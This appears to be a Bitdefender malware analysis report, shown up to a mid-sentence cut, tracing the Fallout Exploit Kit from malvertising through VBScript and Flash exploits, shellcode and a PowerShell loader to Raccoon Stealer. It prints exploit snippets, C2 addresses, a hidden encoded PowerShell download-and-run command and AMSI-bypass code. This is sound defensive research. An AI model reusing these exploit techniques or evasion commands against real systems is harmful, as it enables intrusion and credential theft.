Bitdefender

A close look at Fallout Exploit Kit and Raccoon Stealer
## Contents

Traffic analysis ................................................................. 4  
Landing page ........................................................................ 5  
Second stage ....................................................................... 7  
VBScript exploit ................................................................. 9  
Flash exploit ...................................................................... 11  
Shellcode analysis ............................................................. 14  
PowerShell code ............................................................... 19  
Raccoon Stealer ................................................................. 20  
Indicators of Compromise ................................................... 21  
References ......................................................................... 22  

---

### Authors:

Mihai NEAGU - Senior Security Researcher  
Cosmin Mihai CARP - Security Researcher
Over the last few months, we have seen increased **Exploit Kit activity**. One example is the Fallout Exploit Kit, which we will describe in depth in this article.

Since its emergence in August 2018, threat actors have intensively used the Fallout Exploit Kit to deliver ransomware (GandCrab, Kraken, Maze, Minotaur, Matrix and Stop), Banker Trojans (DanaBot) and information stealers (RaccoonStealer, AZORult, Vidar), and others.

Malicious ads have become a standard means for exploit kits to reach vulnerable systems. Because of the complex redirection chain provided by ad services, malicious ads remain an extremely effective attack vector to deliver exploits and, finally, malware.

Both exploits delivered by Fallout Exploit Kit are blocked by Bitdefender before malware execution.
Traffic analysis

In our reports, we have seen that the initial redirection to the Fallout EK is performed via malvertising, using a dedicated ad server that provides malicious redirects. Visible as request #2 in Fiddler’s traffic dump, this is the starting point of the infection:

<table>
<thead>
<tr>
<th>#</th>
<th>Process</th>
<th>Proto</th>
<th>Host+URL</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>iexplore.exe</td>
<td>HTTP</td>
<td>91.90.192.214/JwVDfp</td>
<td>(redir)</td>
<td>Malicious ad server</td>
</tr>
<tr>
<td>4</td>
<td>iexplore.exe</td>
<td>HTTPS</td>
<td>yourfirmware.biz/spending/...</td>
<td>4720</td>
<td>Landing page</td>
</tr>
<tr>
<td>5</td>
<td>iexplore.exe</td>
<td>HTTPS</td>
<td>yourfirmware.biz/Prosar-689...</td>
<td>29182</td>
<td>Helper JS</td>
</tr>
<tr>
<td>6</td>
<td>iexplore.exe</td>
<td>HTTPS</td>
<td>yourfirmware.biz/2016_11_22/...</td>
<td>7596</td>
<td>2nd stage JS</td>
</tr>
<tr>
<td>8</td>
<td>iexplore.exe</td>
<td>HTTPS</td>
<td>yourfirmware.biz/Liyuan_Brechams...</td>
<td>28716</td>
<td>VBScript exploit</td>
</tr>
<tr>
<td>10</td>
<td>iexplore.exe</td>
<td>HTTPS</td>
<td>yourfirmware.biz/7821/kTIV/...</td>
<td>35140</td>
<td>Flash exploit</td>
</tr>
<tr>
<td>11</td>
<td>iexplore.exe</td>
<td>HTTPS</td>
<td>yourfirmware.biz/Darvon/Gambette...</td>
<td>5893</td>
<td>PowerShell script</td>
</tr>
<tr>
<td>12</td>
<td>powershell.exe</td>
<td>HTTP</td>
<td>yourfirmware.biz/4960-Englut...</td>
<td>1568768</td>
<td>Malware payload</td>
</tr>
<tr>
<td>14</td>
<td>pofke3lb.tmp</td>
<td>HTTPS</td>
<td>drive.google.com/uc?export=...</td>
<td>(redir)</td>
<td>Google Drive redirect</td>
</tr>
<tr>
<td>16</td>
<td>pofke3lb.tmp</td>
<td>HTTPS</td>
<td>doc-0o-cc-docs.googleusercontent.com/docs/...</td>
<td>0</td>
<td>Empty file</td>
</tr>
<tr>
<td>17</td>
<td>pofke3lb.tmp</td>
<td>HTTP</td>
<td>34.77.205.80/gate/log.php</td>
<td>387</td>
<td>RaccoonStealer C2</td>
</tr>
<tr>
<td>18</td>
<td>pofke3lb.tmp</td>
<td>HTTP</td>
<td>34.77.205.80/gate/sqlite3.dll</td>
<td>916735</td>
<td>Malware dependencies</td>
</tr>
<tr>
<td>19</td>
<td>pofke3lb.tmp</td>
<td>HTTP</td>
<td>34.77.205.80/gate/libs.zip</td>
<td>2828315</td>
<td>Malware dependencies</td>
</tr>
<tr>
<td>20</td>
<td>pofke3lb.tmp</td>
<td>HTTP</td>
<td>34.77.205.80/file_handler/file.php...</td>
<td>13</td>
<td>Data exfiltration</td>
</tr>
</tbody>
</table>

From the malicious ad, the browser is redirected to the exploit kit’s landing page (request #4). The page loads more JavaScript (requests #5, #6), then VBScript and Flash exploits are delivered to vulnerable browsers (requests #8, #10).

Finally, an encoded PowerShell script is downloaded and executed (request #11), which in turn downloads the malware payload (request #12) and launches it.

The malware is a password stealer Trojan, and requests #17-19 were identified by EKFiddle as RaccoonStealer C2. The Trojan sends computer configuration (request #17), downloads dependencies (requests #18, #19) and exfiltrates login and crypto wallet credentials (request #20).

Figure 1.1: Network traffic dump of Fallout EK activity and malware payload

Figure 1.2: Fallout EK infection chain
Landing page

After being redirected through malvertising, the browser reaches the landing page at: hxxps://yourfirmware.biz/spending/beshield-garrottes/QFi.cfm

The URL is randomly generated, with approximately the following form: `<domain>/<RandomWord>/[<RandomWord(s)>]/{RandomChars}.<KnownExtension>`

The URL can also contain fake URL encoded GET parameters, such as: `...?<RandomChars>=<RandomWord|RandomDate>&...`

Landing page may have a known extension like cfm, cfml, dhtml, aspx and others.

Random English words, known file extensions and fake dates are used in these URLs to make it look similar to legit web application queries, to evade pattern matching by URL scanners. Nothing is static in the Fallout EK’s URLs, so they can’t be easily recognized.

```html
<meta name="keywords" content="kdBOVdNLc,SEabe,RZPEdzR1gl" />
<meta http-equiv="x-ua-compatible" content="IE=10" />
<meta name="description" content="WyEOihGanoZxb" />
<script type="text/javascript" src="/Prosar-689-patriot/13269/remill"></script>
```

The “meta” declaration (x-ua-compatible, IE=10) makes Internet Explorer run in compatibility mode with version 10, so obsolete code (VBScript) can be loaded later. VBScript support has been removed from Internet Explorer 11 and up, as described in the Microsoft article. This tells us we may encounter a VBScript exploit.

The page body does not contain text, but two JavaScript scripts are being loaded, including one contained in the landing page described in the `<script>` tag.

From this code, we can tell a JSON object will be involved, and dynamic request(s) will be sent from JavaScript, using XMLHttpRequest. Also, the critical function `eval` will be used, with dynamic JavaScript code being executed.

However, the rest of the code is highly obfuscated:

```javascript
var I1I1I1111 = Crypto.lib.WordArray.random(16).toString();
var base = Bignum(Crypto.lib.WordArray.random(16).toString(), 16);
var exponent = Bignum(Crypto.lib.WordArray.random(16).toString(), 16);
var modulo = Bignum(Crypto.lib.WordArray.random(16).toString(), 16);
```

After removing garbage code, resolving syntax obfuscation tricks and recognizing third-party library code embedded in the ‘helper’ JS, we can finally rename obfuscated functions and variables closer to the original names:
```javascript
var public_key = base.powMod(exponent, modulo);
var request = new XMLHttpRequest();
[
]
request.open("post", URL, true);
var requestJson = {};
requestJson["base"] = base.toString(16);
requestJson["modulo"] = modulo.toString(16);
requestJson["public_key"] = public_key.toString(16);
requestJson["iv"] = iv_str;
request.send(Crypto.AES.encrypt(JSON.stringify(requestJson), FalloutKey, { iv: FalloutIV}));
```

As we see, a Diffie-Hellman key exchange is taking place, with transmitted information packed into JSON objects, encrypted with AES-128 algorithm in CBC mode. The EK authors chose Diffie-Hellman as a defense against man-in-the-middle traffic scanning.

Using an XMLHttpRequest, encrypted HTML is downloaded, then decrypted and executed using the eval function:

```javascript
request.onreadystatechange = function() {
    if (4 === this.readyState && 200 === this.status) {
        var text = Crypto.AES.decrypt(request.responseText, FalloutKey,
            { iv: FalloutIV}).toString(Crypto.enc.Utf8);
        var responseJson = JSON.parse(text);
        var base = Bignum(responseJson["base"], 16);
        var public_key_2 = Crypto.enc.Hex.parse(base.powMod(exponent, modulo).toString(16));
        var iv = Crypto.enc.Hex.parse(iv_str);
        var decrypted_js_bin = window.Crypto.AES.decrypt(responseJson['code'],
            public_key_2, {iv: iv});
        var code = decrypted_js_bin.toString(Crypto.enc.Utf8);
        eval(code);
    }
};
```

The URL where the request is made is decrypted in the “helper” JavaScript using fixed values for encryption key and initial vector:

```javascript
window.FalloutKey = Crypto.enc.Hex.parse("cb9f989b5ec9c6061912af37709fe309 ");
window.FalloutIV = Crypto.enc.Hex.parse("9b41656001881cd01e85d0fa8a9b5733");
window.URL = Crypto.AES.decrypt( "38YEyt6HcpQna7gKhki+tJB+PuX7ydy+GgSoGJ2qdAB1zRCOlpjLIR0FYfXwrzj", FuturesKey, { iv: FalloutIV}));
```

We can decrypt the second stage URL by writing a small Python script:

```python
key = binascii.unhexlify(\"cb9f989b5ec9c6061912af37709fe309\")
iv = binascii.unhexlify(\"9b41656001881cd01e85d0fa8a9b5733\")
encrypted = binascii.a2b_base64(\"38YEyt6HcpQna7gKhki+tJB+PuX7ydy+GgSoGJ2qdAB1zRCOlpjLIR0FYfXwrzj\")
# Result: /2016_11_22/Enactor-oxyazo/sleepings
```
Second stage

The second stage consists of a new JavaScript code block being downloaded, decrypted and executed using the `eval` function. As it’s not being saved to any file, it won’t be scanned by on-access engines. The decrypted second stage JS code looks like this:

```javascript
var lIIIIIIIIIIII = window["IIIlllIlllIll"]["IllIII"]["IllIII"](
    "ArF5G5kkklYwftyyV9ysYhSRgQaE72596Gi3uyPh4m/h/ge8qWRd3t0UUXkI0vJauThEg8N4iNmrOdG+wbQW/
    YRdbAAhsKg2AjWYtwT1l=", lIIIIII, {1111111: lIIIIIII})["111111"](window["IIIlllIlllIll"]
    ["1111111111"])

function lllll() {
    var lIIIIIII = window[, IIIlllIlllIll’, [IIIlllIlllIll’, [IllIII”][16][IIIlllIlllIll’]()];
    var lIIIIIIIIIII = window[, IIIlllIlllIll’, [IIIlllIlllIll’, [IllIII’][16][IIIlllIlllIll’]()];
    var lIIIII = window[, IIIlllIlllIll’, [IIIlllIlllIll’, [IllIII’][16][IIIlllIlllIll’]()];
    var lIIIIIII = window[, IIIlllIlllIll’, [IIIlllIlllIll’, [IllIII’][16][IIIlllIlllIll’]()];
}

var URL2 = Crypto.AES.decrypt(, ArF5G5kkklYwftyyV9ysYhSRgQaE72596Gi3uyPh4m/h/
    ge8qWRd3t0UUXkI0vJauThEg8N4iNmrOdG+wbQW/YRdbAAhsKg2AjWYtwT1l=’, FalloutKey, {iv: 
    FalloutIV}).toString(Crypto.enc.Utf8)

# Result: /Liyuan_Brechams/Quibbling_10371_12600.cfm?alVz=Explainer-subcuboid

The same communication method as in the 1st stage is used, with another Diffie-Hellman key exchange taking place, encrypted JSON sent and encrypted data received. Two HTML blocks are decrypted, then added as new frames to the original page:

```javascript
var codeA_bin = Crypto.AES.decrypt(responseJson[, codeA’], public_key_2_bin, {iv: iv});
var codeB_bin = Crypto.AES.decrypt(responseJson[, codeB’], public_key_2_bin, {iv: iv});
...]
if (codeB.length !== 0) {
    var frame1 = document.createElement(“iframe”);
    frame1.setAttribute(“id”, “frame1Id”);
    document.getElementsByTagName(“BODY”)[0].appendChild(frame1);
    var doc1 = document.getElementById(“frame1Id”).contentWindow.document;
    doc1.open();
    doc1.write(codeB_bin.toString(Crypto.enc.Utf8));
    doc1.close();
}
```
VBScript exploit

The first HTML that is decrypted and inserted as `<iframe>` to the document after the second stage contains the VBScript exploit code. Looking through it, we see a function named `UAF` with the following content:

```
Sub UAF
  For IIIl=(-hfe8+3822-&H1ed6) To (-h8b+8633-&H2233)
    Set IIIlI(IIIl)=New IIIlIl
  Next
  For IIIl=(+haa1+6236-&H22e9) To (+h1437+3036-&H1fed)
    Set IIIlI(IIIl)=New llIIl
  Next
  IllI=0
  For IIIl=0 To 6
    ReDim lIIl(1)
    Set lIIl(1)=New cla1
    Erase lIIl
  Next
  Set llll=New llIIl
  IllI=0
  For IIIl=0 To 6
    ReDim lIIl(1)
    Set lIIl(1)=New cla2
    Erase lIIl
  Next
  Set IIIIl=New llIIl
End Sub
```

This code is fairly obfuscated, but we can see that it is almost identical to the VBScript code residing in the Metasploit module: `CVE-2018-8174.rb` by 0x09AL and another one on exploit-db.com, published by "smgorelik".

Using these similarities, we can identify the exploit as targeting the VBScript engine use-after-free vulnerability `CVE-2018-8174`.

The Metasploit module code originates from the 0-day sample used in the APT attack described by Qihoo 360 in the April 2018 paper "New Office Attack Using Browser 'Double Kill' Vulnerability". Further analysis was also published by other researchers [here](#), [here](#), [here](#), [here](#) and [here](#).

After deobfuscating class and variable names, as well as numerical values, the interesting code from the function becomes:

```
For i = 0 To 6
  ReDim Arr1(1)
  Set Arr1(1) = New cla1
  Erase Arr1
Next
```

We can see a reference to `cla1` being saved in array `Arr1`, then array is destroyed. Because of the vulnerability, the `cla1` memory is eventually freed, even though a reference still exists in variable `Arr2`. This reference is then reused in the custom defined `Class_Terminate` destructor.

```
Class cla1
  Private Sub Class_Terminate()
    Set Arr2(counter) = Arr1(1)
    counter = counter + 1
    Arr1(1) = 1
  End Sub
End Class
```

After that, arbitrary read-write is obtained and the address of `vbscript.dll` is leaked. The `NtContinue` function and
CONTEXT  structure are used to change the stack pointer to a new location (stack pivot). From there, using the new “prepared stack” will result in calling **VirtualProtect** on the shellcode and return to it:

```vbs
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam)
    Dim bytes
    bytes = String(34798, Unescape("%u4141"))
    bytes = bytes & EscapeAddress(ShellcodeAddrParam), return address = shellcode address
    bytes = bytes & EscapeAddress(ShellcodeAddrParam), VirtualProtect address: shellcode
    bytes = bytes & EscapeAddress(&H3000), VirtualProtect size: 0x3000 bytes
    bytes = bytes & EscapeAddress(&H40), VirtualProtect protection: 0x40 = RWX
    bytes = bytes & EscapeAddress(ShellcodeAddrParam - 8), VirtualProtect oldProt
    bytes = bytes & String(6, Unescape("%u4242"))
    bytes = bytes & PackedNtContinueAddress()
    bytes = bytes & String((&H80000 - LenB(bytes)) / 2, Unescape("%u4141"))
    WrapShellcodeWithNtContinueContext = bytes
End Function
```

The shellcode bytes can be seen stored into an escaped string. We can see the start of the shellcode bytes **55 8B EC** as the standard function prologue:

```vbs
Function GetShellcode()
    bytes = Unescape("%u0000%u0000%u0000%u0000") &
    Unescape("%u8B55%u83EC%uF8E4%uEC81%u00CC%u0000%u5653[...]" & lIIII(IIIII("")))
    bytes = bytes & String((&H80000 - LenB(bytes)) / 2, Unescape("%u4141"))
    GetShellcode = bytes
End Function
```

Binary code execution is indirectly obtained by changing confused object type to 77 (0x4D), also mentioned by 360 Core Security in their exploit description. This is not a documented VBScript type, but has the property that calling the **VAR::Clear** method of that type will also call the destructor method stored at offset +8 of variable descriptor:

```vbs
SetCurrentMemValueUint32 ExpandWithVirtualProtect(ShellcodeWrapped) , [pointer+8]=shellcode
[...]
typeConfusionObject.arbitraryMemoryAccess(pointer) = 77 , set object type to 77
typeConfusionObject.arbitraryMemoryAccess(pointer + 8) = 0 , execute [pointer+8]
Flash exploit

The second HTML decrypted and evaluated in the second stage is the object instantiation code for the Flash exploit:

```
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
    width="557" height="283" id="ryPYyaMwLnx" align="middle">

    <param name="movie" value="/7821/kTlV/19_07_1935/2971?dprLuf=AD7" />
    <param name="quality" value="high" />
    <param name="bgcolor" value="#ffffff" />

    [...]
</object>
```

Opening or dumping the file using JPEXS Free Flash Decompiler, we can observe 13,664 bytes of binary data in resources, along with two 16-byte blobs.

We can also observe that an encryption library containing AES algorithm is used, and we suspect that the two blobs are the 128-bit key and initial vector.

JPEXS Free Flash Decompiler v.11.2.0
------------------------------------
Exporting images...
Exporting shapes...
[...]
Exported binarydata 1/3 DefineBinaryData (3: _0x14efb0cf)
Exported binarydata 2/3 DefineBinaryData (2: _0x91257d46)
Exported binarydata 3/3 DefineBinaryData (1: _0xae12e14a)
[...]
Exported script 7/32 com.hurlant.crypto.symmetric.IMode, 00:00.053
Exported script 6/32 com.hurlant.crypto.symmetric.IPad, 00:00.054
Exported script 1/32 com.hurlant.crypto.symmetric.ICipher, 00:00.056
Exported script 3/32 com.hurlant.crypto.symmetric.ISymmetricKey, 00:00.057
Exported script 9/32 com.hurlant.crypto.symmetric.CBCMode, 00:00.073
[...]
Exported script 4/32 com.hurlant.crypto.symmetric.AESKey, 00:00.173
Export finished. Total export time: 00:00.483
OK

We can decrypt the data using a small Python script:

```
from Crypto.Cipher import AES

iv = open(‘2.bin’, ‘rb’).read()
key = open(‘3.bin’, ‘rb’).read()
data = open(‘1.bin’, ‘rb’).read()

obj = AES.new(key, AES.MODE_CBC, iv)
decrypted = obj.decrypt(data)

open(‘4.bin’, ‘w+b’).write(decrypted)
```

The decrypted data is another Flash file, evaluated at runtime. This is a common way to hide the actual exploitation code. The exploit code is unpacked in memory and executed, bypassing on-access scanning.

The code handling the decryption is obfuscated, but the `flash.display.Loader` class is mentioned in the imported Flash modules. The `Loader` class is responsible for executing Flash content stored as data in a byte array.
public static var _0xa20c29c4:Array = [
    "flash.system.LoaderContext",
    "flash.display.Sprite",
    "flash.display.Stage",
    "flash.utils.ByteArray",
    "flash.display.Loader",
    "flash.Lib",
    "flash.Vector",
    "flash.system.ApplicationDomain",
    "flash.display.LoaderInfo",
    "flash.events.Event",
    "flash.net.URLRequest",
    "flash.net.URLRequestHeader",
    "flash.net.URLLoader"
];

Next, we are interested in confirming the target vulnerability. The tested Flash version was 31.0.0.153 so we expect to see CVE-2018-15982, so we will check the exploit code.

The vulnerability was described in detail by 360 Core Security in the “Operation Poison Needles” paper on December 5, 2018, after it was abused as part of an APT attack.

Indeed, we find code that resembles the described 0-day in that paper. For example, we see exploit code traversing a vector and finding corrupted objects by checking their size (24), then saving their index:

```javascript
while(_loc1_ < this.Var9)
{
  if(this.Var14[_loc1_].Var39 != 24 && this.Var14[_loc1_].Var39 > 524288)
  {
    this.Var12 = _loc1_;
    this.Var10 = this.Var14[_loc1_].Var22;
    this.Var6 = true;
    break;
  }
  _loc1_++;
}
```

We also see the read/write primitive on 64-bit environments, after the corruption has taken place, very similar to the published analysis. This way we can confirm it's a case of CVE-2018-15982.

```javascript
private function Var42(param1:Class0) : uint
{
  var _loc2_:uint = 0;
  this.Var14[this.Var12].Var22 = param1.Var98;
  this.Var14[this.Var12].Var39 = param1.Var99 - 32;
  _loc2_ = this.Var16[this.Var13].m_Class1.Var993;
  this.Var14[this.Var12].Var22 = this.Var11.Var98;
  this.Var14[this.Var12].Var39 = this.Var11.Var99;
  return _loc2_;
}
```

```javascript
private function Var38(param1:Class0, param2:uint) : void
{
  this.Var14[this.Var12].Var22 = param1.Var98;
  this.Var14[this.Var12].Var39 = param1.Var99 - 32;
  this.Var16[this.Var13].m_Class1.Var993 = param2;
```
Interestingly, the Flash exploit contains both 32-bit and 64-bit shellcodes, while the VBScript exploit was only 32-bit. While very similar to the shellcode we found on the VBScript exploit, it will download and execute a command from a different URL, on the same domain. The author likely wanted to differentiate between successful VBScript and Flash exploitations.

Shellcode execution is performed differently from the VBScript exploit described earlier. Here, code execution is achieved by replacing a Flash object method’s address with the address of VirtualProtect function, and calling that with desired parameters directly from within Flash code, rather than performing a ROP attack. This method, first used by Hacking Team, is described in the CVE-2015-5119 analysis by Zscaler.

Indeed, we can see in WinDBG that the VirtualProtect function is called from Flash module, and the stack pointer was unaffected. Its address remains within the limits declared by Thread Environment Block:

eax=046db580 ebx=00006370 ecx=0b34747c edx=0f59b238 esi=0b34747c edi=0b34747c
epi=75ce1b2f esp=046db558 ebp=046db578 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
KERNELBASE!VirtualProtect:
  75ce1b2f 8bff            mov     edi,edi
0:010> dd esp
046db558  58710a62 0baa1004 00006370 00000040
046db568  046db618 00000004 046db610 00000001
[...]
0:010> kb
ChildEBP RetAddr Args to Child
046db554 58710a62 0baa1004 00006370 00000040 KERNELBASE!VirtualProtect
046db578 586e8efa 0baa1004 046db618 00000040 Flash32_31_0_0_153!IAEModule_IAEKernel_UnloadModule+0x2b39f2
046db598 586ef688 0b51b3e8 00000041 046db610 Flash32_31_0_0_153!IAEModule_IAEKernel_UnloadModule+0x28be8a
[...]
0:010> !teb
TEB at 7ffd4000
  ExceptionList: 046dc5a4
  StackBase: 046e0000
  StackLimit: 046ce000
  SubSystemTib: 00000000
  FiberData: 00001e00
[...]
Shellcode analysis

Judging from a first look, the shellcode may have been written in C, because each function creates a new stack frame, using function prologue/epilogue. Most functions use the fastcall calling convention, which is uncommon. This makes the code harder to analyze, as the first two function parameters are passed in registers ecx and edx, not on stack.

The first thing the shellcode needs is to import desired API functions. To do that, the module kernel32.dll is located, by parsing the Process Environment Block structure, then walking the loaded module linked list. First the loaded module is the application executable, e.g. iexplore.exe. Going from this list item to its forward link, the shellcode will find ntdll.dll. Going forward link again will find kernel32.dll:

```
01000289                  get_kernel32_base proc near         ; CODE XREF: import_
functions+10
p
01000289 64 A1 30 00 00 00 mov     eax, large fs:30h     ; PEB
0100028F 8B 40 0C mov     eax, [eax+0Ch]           ; ntdll!PebLdr
01000292 8B 40 14 mov     eax, [eax+14h]           ; Ldr.InMemoryOrderModuleList
01000295 8B 00 mov     eax, [eax]                 ; LIST_ENTRY.flink
01000297 8B 00 mov     eax, [eax]                 ; LIST_ENTRY.flink
01000299 8B 40 10 mov     eax, [eax+10h]          ; LIST_ENTRY.DllBase
0100029C C3 retn
0100029C                  get_kernel32_base endp
```

Having located the desired module, the shellcode enumerates its Export Address Table. Avoiding comparing strings (which would make reversing easier), the shellcode makes hashes on function names instead, then compares those:

```
0100022C 8B F9 mov     edi, ecx                ; ecx = imageBase
0100022E 89 55 FC mov     [ebp+arg0_hash], edx    ; edx = nameHash
01000231 33 F6 xor     esi, esi                ; index
01000233 8B 47 3C mov     eax, [edi+3Ch]          ; AddressOfNewExeHeader
01000236 8B 5C 38 78 mov     ebx, [eax+edi+78h]      ; IMAGE_DATA_DIRECTORY Export
0100023A 03 DF add     ebx, edi
0100023C 8B 43 1C mov     eax, [ebx+1Ch]          ; AddressOfFunctions
0100023F 8B 4B 20 mov     ecx, [ebx+20h]          ; AddressOfNames
01000242 C7 ret     ; ecx = imageBase + addrOfNames[index]
01000244 89 45 F0 mov     [ebp+var_AddrOfFuncs], eax
01000247 03 CF add     ecx, edi
01000249 8B 43 24 mov     eax, [ebx+24h]           ; AddressOfNameOrdinals
0100024C 03 CF add     eax, edi
0100024E 89 45 F8 mov     [ebp+var_AddrOfNames], ecx
01000251 89 45 F4 mov     [ebp+var_AddrOfOrdinals], eax
01000254 39 73 18 cmp     [ebx+18h], esi          ; loop from 0 to NumberOfNames
01000257 76 18 jbe     short loc_1000271
01000259 loc_1000259: ; CODE XREF: get_function_
by_hash+4C if
01000259 8B 0C B1 mov     ecx, [ecx+esi*4]
0100025C 03 CF add     ecx, edi                ; ecx = imageBase + addrOfNames[index]
0100025E E8 7B FF FF FF call    hash_string           ; hash function name
01000263 3B 45 FC cmp     eax, [ebp+arg0_hash]     ; compare with target name
01000266 74 10 jz      short loc_1000278
01000268 8B 4D F8 mov     ecx, [ebp+var_AddrOfNames]
0100026B 46 inc     esi
0100026C 3B 73 18 cmp     esi, [ebx+18h]
0100026F 72 E8 jb      short loc_1000259
```

Later we can identify each imported function by its hash:
Using the name hash method, the following functions are imported at specified byte index in the address table:

**kernel32.dll**
0 = GetModuleHandleA  
4 = LoadLibraryA  
8 = CreateToolhelp32Snapshot  
C = Process32First  
10 = Process32Next  
14 = CloseHandle  
18 = VirtualAlloc  
1C = CreateProcessA  
20 = ExitProcess  
24 = ExitThread

**ntdll.dll**
0 = memset

**wininet.dll**
0 = InternetOpenA  
4 = InternetConnectA  
8 = InternetCloseHandle  
C = HttpOpenRequestA  
10 = HttpSendRequestA  
14 = HttpQueryInfoA  
18 = InternetReadFile

All strings are stored encrypted in the shellcode, and decrypted before use. The encryption algorithm is **RC4**, recognized by the key scheduling step, in the decomplied shellcode:

```c
for(v3 = 0; v3 < 0x100; v3++)
{
    KS_state_array[v3] = v3;
}
LOBYTE(v4) = 0;
for(v5 = 0; v5 < 0x100; v5++)
{
    v6 = KS_state_array[v5];
    v4 = (BYTE)(v4 + *(BYTE*)((v5 & 7) + v2) + v6);
    KS_state_array[v5] = KS_state_array[v4];
```
Next, the shellcode checks if it is running in a virtual machine. This is done using the CPUID instruction, leaf 1, where the reserved bit 31 of ecx is set when hypervisor is present.

```assembly
01000384 33 C0 xor     eax, eax
01000386 8B F9 mov     edi, ecx ; edi = destination
01000388 40 inc     eax ; eax = leaf
01000389 33 C9 xor     ecx, ecx
0100038B 53 push    ebx
0100038C 0F A2 cpuid ; leaf=1, get processor features in ecx,edx
0100038E 8B F9 mov     edi, ecx ; edi = destination
01000390 0F A2 cpuid ; leaf=1, get processor features in ecx,edx
01000392 8B F3 mov     esi, ebx
01000394 5B pop     ebx
01000395 8D 5D F0 lea     ebx, [ebp+var_10]
01000397 89 03 mov     [ebx], eax
01000399 89 73 04 mov     [ebx+4], esi
0100039B 89 53 0C mov     [ebx+8], ecx
0100039D 8B 45 F8 mov     eax, [ebp+var_10+8] ; get ecx
010003A0 C1 E8 1F shr     eax, 1Fh ; ecx bit 31: hypervisor presence
010003A3 89 07 mov     [edi], eax
```

The shellcode also checks for the presence of debugging tools. This is done by enumerating processes, then hashing their process names, and comparing them against a few predefined values:

```assembly
010002D3 E8 06 FF FF FF call    hash_string ; hash current process name
010002D8 5B pop     esi
010002D9 3D DE 06 54 3F cmp     eax, 3F5406DEh ; hash of "processhacker.exe"
010002DE 74 1F jz      short loc_10002FF ; compare hashes
```

Using this method, the presence of the following processes is determined:

- processhacker.exe
- wireshark.exe
- ida64.exe
- windbg.exe
- fiddler.exe

After checking the execution environment, the shellcode decrypts the target host name and path for downloading the malware executable. The decryption uses the same hardcoded RC4 key, on a buffer stored at the end of the shellcode. The first 0x40 encrypted bytes contain the host name, then the next 0x80 contain the relative path:

```assembly
0100000F E8 B0 08 00 00 call    get_ptr_to_encrypted_data ; hash current process name
01000014 8B F0 mov     esi, eax ; esi = encrypted_data...
0100002D E8 06 FF FF FF call    hash_string ; hash current process name
01000038 5B pop     esi
01000039 3D DE 06 54 3F cmp     eax, 3F5406DEh ; hash of "processhacker.exe"
0100003E 74 1F jz      short loc_10002FF ; compare hashes
```

```assembly
010000A2 8D 4C 24 20 lea     ecx, [esp+0E0h+rc4_key]
010000A6 6A 40 push    40h
010000A8 56 push    esi
010000AA 8E FE 02 00 00 call    rc4_decrypt ; decrypt "yourfirmware.biz"
010000AD 83 C6 40 add     esi, 40h
010000B1 8D 4C 24 28 lea     ecx, [esp+0E8h+rc4_key]
010000B5 68 80 00 00 00 push    80h
010000B9 56 push    esi
010000BB 8E EC 02 00 00 call    rc4_decrypt ; decrypt "/4960-Englut-"
mythusb/…"

Having the target host, the shellcode connects to it securely, using a custom user-agent string (eW7txlgM51hDn98),
decrypted using the same RC4 key:

```
01000520 C7 45 C0 F2 72 54 9A mov [ebp+var_user_agent_string], 0C77A39CEh
01000527 C7 45 C4 3E 84 3B 29 mov [ebp+var_3C], 0F7EFE9F9h
0100052E 6A 08 push 8
01000530 50 push eax
01000551 E8 76 FE FF FF call rc4_decrypt ; decrypt
```

“eW7txlgM51hDn98”...

```
0100055D 50 push eax ; var_user_agent_string
0100055E FF 55 F8 call [ebp+InternetOpenA] ; InternetOpenA ...
```

```
01000560 FF 75 F4 push [ebp+var_host]
01000563 57 push edi
01000564 FF 55 F0 call [ebp+InternetConnectA] ; InternetConnectA
```

After connection, the shellcode performs a POST request, sending over a 4-byte value, which tells the server if a virtual
machine or debugging tools were detected. If these tools were present, the server will provide an empty reply. If they were not
present, the server response is the encrypted payload:

```
010004D9 83 7D 20 00 cmp [ebp+arg18_virtualized_flag], 0
```

```
010004E4 75 18 jnz short loc_10004FE
010004E6 83 7D 24 00 cmp [ebp+arg1C_debugger_flag], 0
010004E9 75 09 jnz short loc_10004F5
010004EC C7 45 14 C2 50 5F C8 mov [ebp+post_data], 0CB4835EAh ; no debugging, no vmware
010004F3 EB 1D jmp short loc_1000512
010004F5 C7 45 14 D3 43 5F C8 mov [ebp+post_data], 0CB4826FBh ; debugging detected
010004FC EB 14 jmp short loc_1000512
010004FE 83 7D 24 00 cmp [ebp+arg1C_debugger_flag], 0
01000502 C7 45 14 D6 51 5F C8 mov [ebp+post_data], 0CB4834FEh ; vmware + debugging detected
01000509 75 07 jnz short loc_1000512
0100050B C7 45 14 D6 5E 5F C8 mov [ebp+post_data], 0CB483BFEh ; vmware detected
```

If POST data was "correct" and debugging tools were not running, shellcode downloads the encrypted command line:

```
01000618 8D 45 CC lea eax, [ebp+var_34]
0100061B 50 push eax
0100061C 8B 45 0C mov eax, [ebp+arg4_buffer]
0100061F FF 75 1C push [ebp+content_length]
01000622 FF 30 push dword ptr [eax]
01000624 53 push ebx
01000625 FF 55 C8 call [ebp+InternetReadFile] ; InternetReadFile ...
```

```
0100064A 8B 45 0C mov eax, [ebp+arg4_buffer]
0100064D FF 75 1C push [ebp+content_length]
01000650 8B 4D 08 mov ecx, [ebp+arg0_rc4_key]
01000653 FF 30 push dword ptr [eax]
01000655 E8 52 FD FF FF call rc4_decrypt
```

After decrypting the command line, it is executed using the CreateProcessA function:

```
01000120 50 push eax
```
The command line is an invocation of hidden, non-interactive **PowerShell** interpreter, along with encoded script provided as a parameter, for a total of 5,809 characters:

```
powershell.exe -w hidden -noni -enc dAByAHkAewAkAEkAbABsAEkASQAxAEkASQAxAD0AWwBSAGUAZgBdAC4AQQBzAHMA2QBtAGIAbAB5ADsA[...]
```
PowerShell code

After Base64 decoding the parameter from the command line, we get the PowerShell code that gets executed. Its first action is to disable the Windows Antimalware Scan Interface (AMSI) to evade malicious script detection.

This is done by setting the `System.Management.Automation.AmsiUtils` object's `amsiInitFailed` property to `true`. Strings are Base64 encoded for obfuscation.

```powershell
# disable AMSI
$IllII1II11 = [Ref].Assembly;
$III111II111 = $IllII1II111.GetType([Text.Encoding]::ASCII).
GetString(\{Convert\}::FromBase64String(
    ,U31zdGVtLk1hbmbFmZW11bnQuQXV0b21hdG1vb15BbXVpVXRpbHM=’));
$III1II111 = $III111II111111.GetType([Text.Encoding]::ASCII).
